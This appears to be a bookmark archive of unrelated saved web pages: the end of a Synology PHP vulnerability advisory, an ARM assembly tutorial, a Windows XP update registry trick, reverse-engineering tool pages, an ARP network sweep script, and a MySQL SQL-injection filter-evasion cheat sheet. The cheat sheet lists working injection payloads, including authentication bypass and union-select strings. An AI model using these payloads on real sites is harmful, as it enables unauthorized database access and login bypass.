if \(\!isset\($\_POST\['prog\_id'\]\) || \!isset\($\_POST\['token'\]\) ||  
\- \!isset\($\_POST\['secret'\]\) || \!isset\($\_POST\['photoList'\]\) ||
strpos\($\_POST\['grog\_id'\], ".."\) \!== FALSE\) \{  
\+ \!isset\($\_POST\['secret'\]\) || \!isset\($\_POST\['photoList'\]\) ||
strpos\($\_POST\['prog\_id'\], ".."\) \!== FALSE\) \{  
$result\['message'\] = "invalid multi\_upload arguments";  
echo json\_encode\($result\);  
exit\(\);  
---|---  
###### Timeline

  1. Verified and sent to Synology: 19 Dec 17
  2. Coordinated public release of advisory: 14 Jan 18

###### Conclusion

It can be very expensive maintaining PHP code and even if it has been looked
over a lot previously, critical vulnerabilities can still surface. PHP race
conditions are quite rare and as such, we cover similar vulnerabilities to the
one discussed here in our AWAE class. If this is the kind of web security you
enjoy, stay tuned\!

As a side note, it’s a little be disheartening to see that Synology downplayed
the vulnerabilities described above, however, it was nice to see a responsive
turnaround time. You can also download the exploit.

  

  

# Cross-core Microarchitectural Side Channel Attacks and Countermeasures

**Created:**| _3/7/2018 8:22:02 AM_  
---|---  
**Updated:**| _3/7/2018 8:22:14 AM_  
**Author:**| _wishi_  
**Tags:**| _attacks micro service_  
  

  
<img src='img/girazoki.pdf' />  

# Vikram and Neha: Android ARM Assembly: Registers, Memory and Addressing
Modes \(Part 3\)

**Created:**| _9/18/2011 7:50:29 AM_  
---|---  
**Updated:**| _9/18/2011 7:50:29 AM_  
**Author:**| __  
**Tags:**| _asm arm androidm_  
  

### Android ARM Assembly: Registers, Memory and Addressing Modes \(Part 3\)

This is part three of a series on learning ARM assembly on Android. This part
covers registers, memory and addressing modes.  
  
Part 1: Motivation and device set up  
Part 2: A walk-through of a simple ARM assembly program  
=> Part 3: Registers, memory, and addressing modes  
Part 4: Gnu tools for assembly; GCC and GDB  
Part 5: Stack and Functions  
Part 6: Arithmetic and Logical Expressions  
Part 7: Conditional Execution  
Part 8: Assembly in Android code  
  
The articles follow in series, each article builds on the previous.  
  
Registers  
  
On ARM processors you have 16 registers. Actually, that is not entirely true.
ARM processors have 32 registers, each 32 bits wide. ARM processors have
different programming modes to distinguish user-level and system-level access.
Only some registers are visible in each mode. In the user-level mode you can
access 16 registers. This is the mode you will use most frequently, so you can
ignore the entire mode stuff for now. By the time you need to write Linux
device drivers, you will be well past this introduction.  
  
The registers are called r0-r15, and the last four are special.  
**r12: IP** , or Intra-Procedure call stack register. This register is used by
the linker as a scratch register between procedure calls. A procedure must not
modify its value on return. This register isn't used by Linux gcc or glibc,
but another system might.  
**r13: SP,** or Stack Pointer. This register points to the top of the stack.
The stack is area of memory used for local function-specific storage. This
storage is reclaimed when the function returns. To allocate space on the
stack, we subtract from the stack register. To allocate one 32-bit value, we
subtract 4 from the stack pointer.  
**r14: LR** , or Link Register. This register holds the return value of a
subroutine. When a subroutine is called, the LR is filled with the program
counter.  
**r15: PC** , or Program Counter. This register holds the address of memory
that is currently being executed.  
There is one more register, the **Current Program Status Register \(CPSR\)**
that contains values indicating some flags like Negative, Zero, Carry, etc.
We'll visit it later, you can't read and write it like a normal register
anyway.  
  
In assembly language, these are all the variables you have access to. If you
need to perform any computation, they need to operate upon these registers.
Since there are a small number of registers, you need to be judicious in their
use. A lot of optimisation boils down to being miserly with register
allocation.  
  
Here are all the data move instructions:  

[code]

    	mov	r0, r1
[/code]

This moves the value from r1 to r0. This achieves r0 = r1  

[code]

     	mov	r0, r1, lsl #2
[/code]

Logical Shift Left \(lsl\) variable r1 by 2 bits, and then move to r0. This
achieves r0 = r1 << 2\. There is a limitation on how much rotation is allowed:
rotation is specified using five bits, so any value of rotation between 0-31
is allowed. The effect of a single left-shift is multiplication by 2.  
  

[code]

     	mov	r0, r1, lsr #3
[/code]

Logical Shift Right \(lsr\) variable r1 by 3, and then move to r0. This
achieves r0 = \(int\) \(r1 >> 3\) The effect of a single left-shift is \(the
integer part of\) division by 2.  

[code]

     	mov	r0, r1, lsl r2
[/code]

Logical Shift Left \(lsl\) variable r1 by the amount given in r2, and then
move to r0. The value in register r2 should be between 0 and 31. This achieves
r0 = \(int\) \(r1 << r2\)  
LSL and LSR are not the only shifts. There are also Arithmetic Shifts: ASL and
ASR that maintain signed-ness. ASR is different from LSR for negative numbers.
Negative numbers have leading bits set 1, and ASR right shifting propagates
the 1 bits. In case you don't remember how negative numbers are represented,
you might want to read a One's Complement review. ASL is the same as LSL
because the sign extension doesn't happen when shifting left. Finally there is
ROtate Right, or ROR. Rotation preserves all information, the bits are cycled
like the barrel of a six-shooter. You can rotate by five bits, which means
from 0-31 positions. There is no rotate left, since to rotate left by 3 bits,
you can rotate right by 32-3 = 29 bits. Every shift can take either a five bit
value or a register that contains a value between 0 and 31.  

[code]

     	mov	r0,#10
[/code]

Move the literal value 10 r0. This achieves r0 = 10. This is an example of
**Immediate** addressing, the literal value of the constant is given in the
instruction. There is a limit to what can be listed in immediate values. Any
number that can be expressed in 8 bits constant, plus 5 bits in rotation is
allowed. Anything other that that must be declared as a constant, and loaded
from memory. Examples of valid values are 0x10, 0x100 \(both using the
constant alone\), and 0x40000 \(using rotate to left\)  
  
Loading from and Storing to Memory  
  
The memory on the ARM architecture is laid out as a flat array. No more
segment register nonsense of the Intel world. Addressing modes are equally
straight forward and easy to remember.  

[code]

     	ldr	r0, .L3
[/code]

Move the contents of address label .L3 to r0. This achieves r0 = \*\(.L3\)  

[code]

     	ldr	r0, [r1]
[/code]

Move the contents of data pointed to by r1 to r0. This achieves r0 = \*\(r1\).
This addressing mode is using a register for a base address.  

[code]

     	ldr	r0, [r1, #4]
[/code]

Move the contents of data pointed to by \(r1 + 4\) to r0. This achieves r0 =
\*\(r1 + 1\) since 32 bits are moved at a time. Byte alignment might enforce
this, so you might not be able to do "ldr r0, \[r1, \#1\]". This addressing
mode is using an immediate offset value.  

[code]

     	ldr	r0, [r1, r2]
[/code]

Move the contents of data pointed to by \(r1 + r2\) to r0. This achieves r0 =
\*\(r1 + \(r2/4\)\). This addressing mode is using a register as an offset, in
addition to a register as a bass address.  

[code]

     	ldr	r0, [r1, -r2]
[/code]

It is possible to specify the offsets as negative.  

[code]

     	ldr	r0, [r1, r2, lsl #4]
[/code]

Move the contents of data pointed to by \(r1 + \(r2 logical shift left by four
bits\)\) to r0. This achieves r0 = \*\(r1 + \(\(r2 << 4\)/4\)\). This
addressing mode is using a register for base address, and a shifted register
for offset.  
You get the picture. The load instructions take the same barrel shift
arguments as the move instructions, so LSL, LSR, ASL, ASR, and ROR are all
valid. The interesting stuff happens when you have the ability to use a
register as a pointer while modifying the pointer and the destination. There
are two ways of doing this, post-index addressing, and pre-index addressing.
These correspond roughly to the postincrement \(a++\) and preincrement \(++a\)
operators in C. Here is a post-increment operator  

[code]

     	ldr	r0, [r1], #4
[/code]

Move the contents of data pointed to by r1 to r0, and stores the value r1+4 in
r1. This achieves r0 = \*\(r1\), r1 = r1 + 1. As before, variants where
registers are used as offsets and shifted registers as offsets are valid.  

[code]

     	ldr	r0, [r1], r2
[/code]

[code]

     	ldr	r0, [r1], r2, asl #4
[/code]

  
In pre-indexed addressing, we modify the base address register before loading
the address from the memory to the register. This is indicated by an
exclamation mark at the end of the address, indicating that it is written
first.  

[code]

     	ldr	r0, [r1, #4]!
[/code]

Increase the content of r1 by 4, and then move the contents of data pointed to
by \(r1\) to r0. This achieves r1 = r1 + 4, r0 = \*\(r1\)  

[code]

     	ldr	r0, [r1, r2]!
[/code]

Increase the content of r1 by the contents of r2, and then move the contents
of data pointed to by \(r1\) to r0. This achieves r1 = r1 + r2, r0 = \*\(r1\)  

[code]

     	ldr	r0, [r1, r2,  #4 ]!
[/code]

You get the idea. Any registers r0-r15 can be used where r0, r1, and r2 are
used in examples above.  
All those examples dealt with loading contents from memory to registers. For
storing to memory, we use the STR opcode instead of the LDR opcode. The same
addressing modes can be used to store values from registers into memory. Here
are a few examples.  

[code]

     	str	r0, [r1], #4
[/code]

Move the contents of r0 into memory pointed to by r1, and stores the value
r1+4 in r1. This achieves \*\(r1\) = r0, r1 = r1 + 1. As before, variants
where registers are used as offsets and shifted registers as offsets are
valid.  

[code]

     	str	r0, [r1]
[/code]

Move contents of r0 into address pointed to by register r1 \*\(r1\) = r0  

[code]

     	str	r0, [r1], r2
[/code]

Move contents of r0 into address pointed to by r1, and increment r1 by
contents of r2. \*r1 = r0, r1 = r1 + r2  
  
References  
Register move instructions and indexing modes is perhaps the hardest part of
ARM assembly. You should take solace in the fact that the addressing modes are
considerably less complicated than the madness of segment registers on Intel
processors.  
  
This is a basic introduction to the registers and addressing modes in ARM
processors. In case you want more depth, Jasper Vijn's excellent introduction
to ARM assembly covers these topics.  
  
The authoritative technical reference for the ARM architecture is the ARM
Application Reference Manual. It contains valuable technical information on
all instructions in the ARM instruction set.  

# How to get security updates for Windows XP until April 2019 | gHacks Technology News
**Created:**| _5/26/2014 12:25:07 PM_  
---|---  
**Updated:**| _5/26/2014 12:25:07 PM_  
**Author:**| __  
**Tags:**| _LOLZ windows environment_  
  

# How to get security updates for Windows XP until April 2019

By Martin Brinkmann on May 24, 2014 in Windows \- Last Update: May 24, 2014 23

Microsoft's official support for the Windows XP operating system ended more
than a month ago. While some companies and organizations are still receiving
updates for the operating system, end users do not.

These companies pay Microsoft for that, usually because they were not able or
willed to migrate computer's running Windows XP to another operating system
before the extended support phase for the system ended.

There is another exception to the end of support rule: Windows Embedded
Industry, formerly known as Windows Embedded POSReady, operating systems
continue to receive updates.

What makes this interesting is the fact that Windows Embedded POSReady 2009 is
based on Windows XP Service Pack 3, and that the security updates released for
that system are identical with the ones that Microsoft would have released for
XP systems.

The extended support for Windows Embedded POSReady 2009 systems ends on April
9th, 2019 which means that you can use the trick to get another five years of
security patches for XP.

<img src='img/Temp2_4111.jpg' alt='windows xp updates' />

What you cannot do is go ahead and install those updates as you will get a
version mismatch error when you try to do so. There is however a trick that
you can use to bypass those checks so that you can install those updates on
your version of Windows XP.

**Note** : The trick works only for 32-bit versions of Windows XP SP3 and not
64-bit versions. While POSReady systems are very similar to Windows XP
systems, it is recommended to back up the system before you make any changes
as differences between the systems may result in issues after installing
updates designed for it.

All you need to do is add the following to the Windows XP Registry:

> Windows Registry Editor Version 5.00
> \[HKEY\_LOCAL\_MACHINE\SYSTEM\WPA\PosReady\]  
>  "Installed"=dword:00000001
I have uploaded a Registry file for you that you can use for that purpose. You
can download it here:  xp-security-updates.zip \(2299 downloads\)

If you prefer to create one on your own do the following:

  1. Create a new plain text document.
  2. Paste the contents displayed above into it.
  3. Save the new document as xp.reg.
  4. Double-click the Registry file afterwards to add the contents to the Registry.

Alternatively, open the Registry Editor manually: tap on Windows-r, type
regedit and hit enter. Navigate to the key listed above and create a new Dword
with the value listed there as well. \(via Desk Modder and Sebijk\)

Both source sites are in German. If you open the Sebijk site, you will also
find instructions on how to get this to work on 64-bit Windows XP systems. It
involves running a batch file that replaces original update files with
temporary ones that bypass the restrictions set in place.

**Closing Words**

If you are running Windows XP and do not want to switch to a new system or
cannot, then you may want to try this trick to install security patches
designed for the POSReady 2009 operating system on your PC.

I recommend highly that you create a backup before you update the system as
there is no guarantee that all updates will work properly on XP PCs. While
POSReady 2009 uses the same core, some things are different after all.

Nevertheless, this is better than not installing any security updates.

# baudline signal analyzer: blip BPSK demodulation

**Created:**| _9/16/2010 9:58:04 AM_  
---|---  
**Updated:**| _9/16/2010 9:58:24 AM_  
**Author:**| __  
**Tags:**| _reversing signal work DSP_  
  

## Tuesday, August 31, 2010

### blip BPSK demodulation

This post is going to demonstrate the demodulation of a BPSK signal by a blind
phase locking algorithm called the blip Fourier transform. Binary Phase Shift
Keying \(BPSK\) is a simple modulation scheme that adjusts the phase of a sine
wave carrier by 180° depending on bit values. In PSK modulation all the
information is encoded in the phase of the signal unlike Frequency Shift
Keying \(FSK\) which modulates the frequency. The phase tracking blip Fourier
transform is a new feature in the recently released baudline 1.08 version and
you can read more about it in the on-line manual section about transforms.  
  
  
Setup  

  1. Record or load a BPSK modulated signal into baudline.
  2. In the Input Channel Mapping window set the transform to blip Fourier and the space to phase.
  3. Zoom the spectrogram timebase axis down to the bit level.
  4. Set the Windowing to Gaussian and adjust the beta value to taste.
  5. View, measure, explore, ...

  
  
blip Fourier phase  
The spectrogram display of the blip Fourier transform in phase space.  
  
<img src='img/Temp2_10099.png' />The carrier is at 1000 Hz and the modulated
bits of the BPSK signal are clearly visible. The discontinuities represent
180° phase transitions and not absolute phase. Other interesting features are
the fractal like structure that surrounds the carrier and the fabric of the
noise floor to the right which is composed of interwoven phase worms. The
elements of phase space are rich and quite literally complex in nature.  
  
  
periodicity bars  
Baudline's periodic bars are used to measure the periodicity of the phase
transitions. Fine adjustment for exact alignment was accomplished with the up
and down arrow keys. The bars aligned on the 180° phase transitions represent
the modulated symbols. Click on the spectrogram image for a full size version
that will show the periodicity bars in full detail.  
  
<img src='img/Temp2_10098.png' />  
Note the overlaid delta 0.016 second period value.  
  
  
<img src='img/Temp2_10100.png' />baud rate  
The delta selected measurement window displays a higher accuracy period value
and a convenience 1 / period = Hz calculation. In BPSK there are only two
possible phases \(0° and 180°\) so the symbol rate equals the baud rate \(1
bit/symbol\) which the periodicity bars measured to be 63 Hz or 63 baud.  
  
  
demodulated bits  
Use the spectrogram's periodicity bars as a symbol clocking aid to manually
demodulate the bit stream. Reading off the delta phase transitions corresponds
to the bit string: 010100110010110100011010 or it's inversion
101011001101001011100101 since the true starting bit is unknown. The decoding
of the meaning of these 24 bits is left as an exercise for the reader.  
  
  
Conclusion  
The remarkable revelation is that the blip Fourier transform has no a priori
knowledge of the carrier frequency, baud rate, or even the PSK modulation
scheme. It simply is blind phase locking and allowing a visual demodulation of
the signal. Demodulating the actual bits from a BPSK signal is just a
byproduct and a neat trick.  
  
Phase consists of half of the spectrum. Half. Previous analysis tools have
discarded this phase information and focused solely on magnitude. Use the
baudline signal analyzer and see the other half of what you've been missing.

# Vine: The BitBlaze Static Analysis Component

**Created:**| _9/17/2009 7:45:47 PM_  
---|---  
**Updated:**| _9/17/2009 7:46:08 PM_  
**Author:**| __  
**Tags:**| _security tools reversing x86_  
  
**Vine: The BitBlaze Static Analysis Component**  
\[Overview\] \[Publications / Documentation\] \[Downloads\]
\[Acknowledgement\] \[Mailing List\] \[Back to BitBlaze\]

* * *
## Overview

In order to reason about assembly \(and in particular, x86 assembly\), it is
necessary to accurately model the effects of each instruction. However, this
is a difficult task, since x86 consists of hundreds of instructions.
Compounding the problem is the fact that x86 has instructions with implicit
side effects \(e.g., setting the EFLAGS register\), complex instructions
\(e.g., single instruction loops using "rep"\), several register addressing
modes, and even the semantics of the instruction themselves may change
depending on the operand \(e.g., "shl" does not set EFLAGS when the shift
amount is 0, else it does\). In order to address these problems, we have
developed _Vine_ , an intermediate language \(IL\) for reasoning about
assembly. We lift up all x86 instructions to the Vine IL, which is a simple,
RISC like language that makes subsequent analysis possible. Our IL reduces the
hundreds of x86 instructions to about a dozen different statements. Note our
IL is not a decompilation: our goal is not to recover a higher-level language
representation of the code, but to analyze assembly as a first class language.
Vine also provides an infrastructure for manipulating and performing automated
analysis on our IL. We currently have the ability to:

  * Build control flow graphs of the program.
  * Perform dataflow analysis, such as constant propagation, global value numbering, and dead code elimination.
  * Create a program dependence graph consisting of control and data dependencies.
  * Create a chop of the graph where only those instructions which are relevant to a user-specified source and sink are included.
  * Translate our IL to C, and then compile back down to an executable.
  * Interface with a decision procedure. We currently interface with STP \(also compatible with CVC Lite/CVC3\), as well as decision procedures that support the SMT-LIB format.

Our Vine component consists of code written in C++ to lift x86 to the IL, and
OCaml to then perform additional analysis.

## Publications and Documentation

BitBlaze: A New Approach to Computer Security via Binary Analysis

    Dawn Song, David Brumley, Heng Yin, Juan Caballero, Ivan Jager, Min Gyung Kang, Zhenkai Liang, James Newsome, Pongsin Poosankam, and Prateek Saxena. Keynote Invited Paper, In Proceedings of the 4th International Conference on Information Systems Security, December 2008. _A high-level overview covering Vine, TEMU, and Rudder._
      

Vine Installation and User Manual \(HTML\) \(or PDF\)

    _Describes how to build Vine, and gives a tutorial-style introduction to its language and usage._
      

## Downloads

Vine 1.0 is now available for download under the GNU General Public License.
The release includes C++ and OCaml source code and appropriate versions of the
VEX library and the STP decision procedure for recent Linux/x86 systems.

The version 1.0 release contains some of the core Vine functionality related
to the IL and trace processing, but we have plans to release more parts of
Vine in the future: stay subscribed to the bitblaze-announcements list for
updates.

vine-1.0.tar.gz \(3.3MB\)

## Acknowledgement and Citation

To acknowledge the use of the downloaded software, please include both of the
following two citations:

[code]

    @InProceedings{SBYCJKLNPS2008,
      author = {Dawn Song and David Brumley and Heng Yin and Juan Caballero and
        Ivan Jager and Min Gyung Kang and Zhenkai Liang and James Newsome and
        Pongsin Poosankam and Prateek Saxena},
      title = {{BitBlaze}: A New Approach to Computer Security via Binary Analysis},
      booktitle = {Proceedings of the 4th International Conference on Information Systems Security. Keynote invited paper.},
      address = {Hyderabad, India},
      year = 2008,
      month = dec,
    }
    
    @Misc{BitBlazeWebSite,
      key = {BitBlaze},
      title = {{BitBlaze}: Binary Analysis for Computer Security},
      note = {\url{http://bitblaze.cs.berkeley.edu/}}
    }
    
    
[/code]

## Mailing List and Contact

Though we are not providing formal support for Vine at this time, we would
like to hear if you are making use of it, if you run into any bugs or
problems, or if you have suggestions for feature additions. Please subscribe
to the bitblaze-users mailing list \(via Google Groups\) and share your
experiences.

For general questions regarding to the BitBlaze project, please send email to
bitblaze at gmail.com.

To receive announcements about code releases and other bitblaze related
updates, please subscribe to the Bitblaze Announcement List

Back to BitBlaze

# IDA series, part 1: the Hex-Rays decompiler

**Created:**| _6/29/2017 4:05:41 PM_  
---|---  
**Updated:**| _6/29/2017 4:05:41 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# IDA series, part 1: the Hex-Rays decompiler

June 20, 2017

#### What’s this about?

In what I call the _IDA series_ , I will be explaining a bunch of interesting
and useful stuff I’ve discovered about the Interactive Disassembler, IDA Pro.

I’m writing this because of two reasons:

  * Most of the valuable information is scattered around and hard to find. Sometimes, it’s nowhere, and you have to find it out yourself, or ask support/forum for help.
  * A better understanding of the IDA architecture will save you unnecessary frustration, and a lot of time. Knowing the limitations of your tool is just as important as knowing its capabilties. 1

#### Disassembly <-> pseudocode mapping

The first thing you will learn about the decompiler is that it takes
disassembly and transforms it into pseudocode. This might sound redundant, but
it’s something a lot of people don’t realize. For instance, suppose you have a
function that compares a variable that holds a bunch of flags against a static
value, like this:

<img src='img/EJlDzj0.png' width='289' height='106' alt='wrong output' />

Hex-Rays thinks it’s an offset because the value happens to look like an
address, but it’s actually a flag check.

There is no option in the pseudocode window to fix this, but since we know
that the decompiler maps assembly to pseudocode, we can fix it by placing the
cursor on the offending `&loc_401001`, pressing `TAB` to go to the
corresponding disassembly, and then, with the cursor over the offending
offset, `H`, to mark the item as a value, not as an offset. After pressing
`F5` to decompile again, we can see that the code is decompiled as expected:

<img src='img/DXet5mZ.gif' width='740' height='462' alt='okay output' />

#### The decompiler does not eat your branches

Some people claim that the decompiler lies. That it just eats branches
whenever it wants, and that it’s not reliable, so instead they spend hours
staring at kilometric listings of unoptimized, repetitive, compiler-bloat
assembly. That’s wrong. The decompiler is your friend, and exposes many ways
for you to hint it how you want your decompiled pseudocode.

For example, observe this function:

<img src='img/dNKgPT4.png' width='401' height='256' alt='random function' />

Now look at the disassembly:

<img src='img/qcWcbBJ.png' width='799' height='644' alt='disassembly' />

As you can see, there’s a `cmp` and a `jz`, yet the decompiler only shows the
first branch. Not only that; looking at the graph overview we can see that the
function has much more to it:

<img src='img/0TZ4b53.png' width='388' height='142' alt='graph overview' />

So why is it that Hex-Rays doesn’t decompile that part of the code?

When decompiling the function for the first time, we see this warning:

<img src='img/MpafwbM.png' width='560' height='243' alt='decompiler warning'
/>

It is telling us that _data references to that segment_ will be replaced with
constant values, i.e. it’ll optimize the output by assuming that whatever is
in `.r_data` will never change.

Now, back at the disassembly, we see:

[code]

    .text:00401799                 cmp     ds:dword_40E000, 0
    .text:004017A0                 jz      short loc_4017E6
    
[/code]

There’s a reference to data there, `dword_40E000`. If we check where it is
placed, we see it’s in `.r_data`:

[code]

    .r_only:0040E000 ; Segment type: Pure data
    .r_only:0040E000 ; Segment permissions: Read
    .r_only:0040E000 _r_only         segment para public 'DATA' use32
    .r_only:0040E000                 assume cs:_r_only
    .r_only:0040E000                 ;org 40E000h
    .r_only:0040E000 dword_40E000    dd 0                    ; DATA XREF: sub_401770+29
    
[/code]

The decompiler assumes that the above disassembly is roughly equal to:

[code]

    if (dword_40E000) {
    	// ...
    }
    
[/code]

Since the value of `dword_40E000` is `0`, and its region is recognized as
read-only, it means that the above code is basically useless code, equivalent
to:

[code]

    if (0) {
    	// ...
    }
    
[/code]

In theory, it does nothing, so it optimizes it away. **To fix that** , we can
either mark the specific variable as `volatile` \(the inverse 2 of a constant
/ `const` / read-only variable\), or by marking the entire segment as read-
write.

<img src='img/VIg2mmm.gifD.gif' width='800' height='480' alt='volatile
variable' />

_\(marking the variable volatile\)_

<img src='img/Qmk6z5K.gif' width='800' height='549' alt='segment attributes'
/>

_\(changing segment attributes\)_

Not only that, however. Since Hex-Rays is an optimizing decompiler, it will
optimize away junk code that has no effect on the program:

<img src='img/7jLquSi.png' width='456' height='472' alt='disasm' />

<img src='img/kV4HoVn.png' width='261' height='88' alt='optimized pseudocode'
/>

* * *
That’s it for today. If you want me to talk about a specific topic, please
manifest yourself in the comments.

* * *
**If you want to leave a comment** , please do it on reddit or hacker news.

  1. stolen from here ↩︎
  2. `volatile` is not strictly the inverse of `const`, but in this case, it is ↩︎

  

# Seeing Theory

**Created:**| _6/29/2017 4:11:29 PM_  
---|---  
**Updated:**| _6/29/2017 4:11:29 PM_  
**Author:**| __  
**Tags:**| _bookmark statistics math_  
  

  

# Seeing Theory

A visual introduction to probability and statistics.

# About

Seeing Theory is a project designed and created by Daniel Kunin with support
from Brown University's Royce Fellowship Program. The goal of the project is
to make statistics more accessible to a wider range of students through
interactive visualizations.

Statistics is quickly becoming the most important and multi-disciplinary field
of mathematics. According to the American Statistical Association,
"statistician" is one of the top ten fastest-growing occupations and
statistics is one of the fastest-growing bachelor degrees. Statistical
literacy is essential to our data driven society. Yet, for all the increased
importance and demand for statistical competence, the pedagogical approaches
in statistics have barely changed. Using Mike Bostock’s data visualization
software, D3.js, Seeing Theory visualizes the fundamental concepts covered in
an introductory college statistics or Advanced Placement statistics class.
Students are encouraged to use Seeing Theory as an additional resource to
their textbook, professor and peers.

  * ###### Twitter
  * ###### Contact
  * ###### Github
  * ###### Donate

The Team

Tyler Devlin Jingru Guo Daniel Kunin Daniel Xiang

  

# Network Weathermap | See Everything.
**Created:**| _11/8/2014 7:56:32 PM_  
---|---  
**Updated:**| _11/8/2014 7:56:32 PM_  
**Author:**| __  
**Tags:**| __  
  

# Network Weathermap

**NOTE: The new site here is partially complete. There's nothing actually
incorrect, but there is still more to come, when I get time, including pulling
across the how-to articles from the old site.**

Weathermap is an open source network visualisation tool, to take data you
already have and show you an overview of your network in map form.

**Data is collected via plugins.** Plugins are supplied for RRDtool, MRTG
\(RRD and old log-format\), tab-delimited text files, SNMP, fping, external
scripts, and Cacti-specific data. The RRDtool plugin means you have access to
data from a large range of open source monitoring tools, including Cacti,
Cricket, Zenoss, MRTG, Routers2, Munin, and many more. Other sources are
supported via plugins or external scripts.

It also includes **detailed documentation** , and an **interactive editor** to
make creating your own maps as painless as possible.

There is strong **Cacti integration** in particular, leveraging the Cacti
plugin architecture to provide a management user interface, and access control
for maps using Cacti's existing user database. Additional datasource plugins
allow efficient access to data from Cacti's poller directly, and data from
other Cacti plugins like THold and DSStats.

Weathermap is **widely used** by national and international ISPs, tier-1
carriers, internet exchanges, telcos, national academic networks, many Fortune
500 companies in finance, automotive, medical/pharma and other sectors, state
and national government departments, schools and universities, and even a
church.

# marco.py at d2b91e8d2988a8a47a25c85b9a5ade7e8a1520dd from linuxgeek247's
Marco - GitHub

**Created:**| _5/11/2009 7:07:09 PM_  
---|---  
**Updated:**| _5/11/2009 7:07:26 PM_  
**Author:**| __  
**Tags:**| _python scripting_  
  

\#\!/usr/bin/python

\# marco.py

\# Sends arp requests to the entire network range searching for the first
response.

\# Creates a second thread to monitor for responses to allow the sending
thread to just spew packets.

\# The whole point is to find a valid IP when on a completely quiet network
segment without DHCP

\# or any other means to find a valid address.

\# I couldn't seem to figure out how to get nmap to do an arp sweep on a
network range that I didn't have

\# an IP/interface associated with.

\# Requires:

\# ipaddr \(http://code.google.com/p/ipaddr-py/\) and of course scapy
\(http://www.secdev.org/projects/scapy/\)

import ipaddr

import sys

import logging

import getopt

import time

from scapy import \*

from threading import Thread

class ArpMonitorThread\(Thread\):

def \_\_init\_\_\(self, map\):

Thread.\_\_init\_\_\(self\)

self.map = map

self.found = \[\]

def arp\_callback\(self, pkt\):

if pkt\[ARP\].op == 2:

if pkt\[ARP\].psrc not in self.found:

print pkt\[ARP\].sprintf\("%psrc% \(%hwsrc%\)"\)

self.found.append\(pkt\[ARP\].psrc\)

if self.map == False:

sys.exit\(0\)

def run\(self\):

sniff\(filter='\(arp\) and \(not ether dst host ff:ff:ff:ff:ff:ff\)', store=0,
prn=self.arp\_callback\)

def usage\(\):

print "python marco.py \[-i <iface>\] \[-n <network/range>\] \[-t <timeout>\]
\[-s <saddr>\] \[-c <count>\] \[-m\] \[-h\]"

print "\tiface: network interface to send and listen on. \(default: lo\)"

print "\tnetwork/range: network to scan in CIDR notation. \(default:
127.0.0.1\)"

print "\ttimeout: how long to wait for responses after sending. \(default:
0\)"

print "\tsaddr: source address to originate the arp packets from. \(default:
127.0.0.1\)"

print "\tcount: number of times to send the packets \(default: 1\)"

print "\t-m: Find all hosts on the network not just the first response
\(default: disabled\)"

sys.exit\(0\)

\# Defaults

network = '127.0.0.1'

saddr = '127.0.0.1'

iface = 'lo'

count = 1

map = False

timeout = 0

\# Parse our arguments

try:

opts, args = getopt.gnu\_getopt\(sys.argv\[1:\], 'i:n:t:s:c:hm',
\['interface=', 'network=', 'timeout=', 'saddr=', 'count='\]\)

except getopt.GetoptError, err:

usage\(\)

for o, a in opts:

if o in \('-i', '--interface'\) :

iface = a

elif o in \('-n', '--network'\):

network = a

elif o in \('-t', '--timeout'\):

timeout = int\(a\)

elif o in \('-s', '--saddr'\):

saddr = int\(a\)

elif o in \('-c', '--count'\):

count = \(int\(a\) if \(int\(a\) > 0\) else 1\)

elif o == '-m':

map = True

else:

usage\(\)

\# Start the response monitor first

monitor = ArpMonitorThread\(map\)

monitor.start\(\)

\# Create our packet list

pkts = \[\]

for ip in ipaddr.IPv4\(network\):

pkts.append\(Ether\(dst='ff:ff:ff:ff:ff:ff'\)/ARP\(psrc=saddr, pdst=ip\)\)

\# Send our packets

for i in range\(1, count\):

sendp\(pkts, verbose=0, iface=iface\)

\# Sleep to make sure we get everything

time.sleep\(timeout\)

\# All packets have been sent

sys.exit\(0\)

# SQL filter bypass « Reiners’ Weblog

**Created:**| _5/14/2011 1:33:16 PM_  
---|---  
**Updated:**| _5/14/2011 1:33:16 PM_  
**Author:**| __  
**Tags:**| _web-app-sec cheat sheets Databases sql-injection mysql_  
  

## SQLi filter evasion cheat sheet \(MySQL\)

December 4, 2010  

This week I presented my experiences in SQLi filter evasion techniques that I
have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0
conference. You can find the slides here. For a quicker reference you can use
the following cheatsheet. More detailed explaination can be found in the
slides or in the talk \(video should come online in a few weeks\).

## Basic filter

**Comments**  
‘ or 1=1\#  
‘ or 1=1– -  
‘ or 1=1/\* \(MySQL < 5.1\)  
' or 1=1;%00  
' or 1=1 union select 1,2 as \`  
' or\#newline  
1='1  
' or– -newline  
1='1  
' /\*\!50000or\*/1='1  
' /\*\!or\*/1='1

**Prefixes**  
\+ – ~ \!  
‘ or –+2=- -\!\!\!’2

**Operators**  
^, =, \!=, %, /, \*, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS
LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND,
OR, BINARY, BETWEEN, ISNULL

**Whitespaces**  
%20 %09 %0a %0b %0c %0d %a0 /\*\*/  
‘or+\(1\)sounds/\*\*/like“1“–%a0-  
‘union\(select\(1\),tabe\_name,\(3\)from\`information\_schema\`.\`tables\`\)\#

**Strings with quotes**  
SELECT ‘a’  
SELECT “a”  
SELECT n’a’  
SELECT b’1100001′  
SELECT \_binary’1100001′  
SELECT x’61′

**Strings without quotes**  
‘abc’ = 0×616263

**Aliases**  
select pass as alias from users  
select pass aliasalias from users  
select pass\`alias alias\`from users

**Typecasting**  
‘ or true = ’1 \# or 1=1  
‘ or round\(pi\(\),1\)+true+true = version\(\) \# or 3.1+1+1 = 5.1  
‘ or ’1 \# or true

**Compare operator typecasting**  
select \* from users where ‘a’='b’='c’  
select \* from users where \(‘a’='b’\)=’c’  
select \* from users where \(false\)=’c’  
select \* from users where \(0\)=’c’  
select \* from users where \(0\)=0  
select \* from users where true  
select \* from users

**Authentication bypass ‘=’**  
select \* from users where name = ”=”  
select \* from users where false = ”  
select \* from users where 0 = 0  
select \* from users where true  
select \* from users

**Authentication bypass ‘-’**  
select \* from users where name = ”-”  
select \* from users where name = 0-0  
select \* from users where 0 = 0  
select \* from users where true  
select \* from users

## Function filter

**General function filtering**  
ascii \(97\)  
load\_file/\*foo\*/\(0×616263\)

**Strings with functions**  
‘abc’ = unhex\(616263\)  
‘abc’ = char\(97,98,99\)  
hex\(‘a’\) = 61  
ascii\(‘a’\) = 97  
ord\(‘a’\) = 97  
